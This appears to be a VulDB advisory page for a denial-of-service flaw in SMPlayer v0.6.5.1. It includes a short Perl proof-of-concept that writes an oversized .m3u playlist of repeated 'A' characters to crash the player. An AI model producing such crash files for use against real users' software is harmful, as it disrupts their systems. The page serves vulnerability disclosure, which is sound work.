SMPlayer v0.6.5.1 denial of service

Summaryinfo

A vulnerability identified as problematic has been detected in SMPlayer v0.6.5.1. This affects an unknown function. The manipulation leads to denial of service. Additionally, an exploit exists.

Detailsinfo

A vulnerability was found in SMPlayer v0.6.5.1 (Multimedia Player Software) and classified as problematic. This issue affects some unknown functionality. The manipulation with an unknown input leads to a denial of service vulnerability. Using CWE to declare the problem leads to CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. Impacted is availability.

The weakness was released 06/16/2011 as VL-ID 57 as not defined advisory (Website). The advisory is shared at vulnerability-lab.com. Technical details are unknown but a public exploit is available.

After immediately, there has been an exploit disclosed. The exploit is available at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

my $sploitfile="name.m3u";
print " [+] Preparing payload\n";
my $junk = "A" x 950000;
my $payload = $junk;
print " [+] Writing payload to file\n";
open(sploitf,">$sploitfile");
print sploitf $payload;
close(sploitf);
print " [+] Exploit file " . sploitfile . " created\n";
print " [+] Wrote " . length($payload) . " bytes\n";

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productinfo

Type

• Multimedia Player Software

Name

• SMPlayer

Version

• v0.6.5.1

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discussion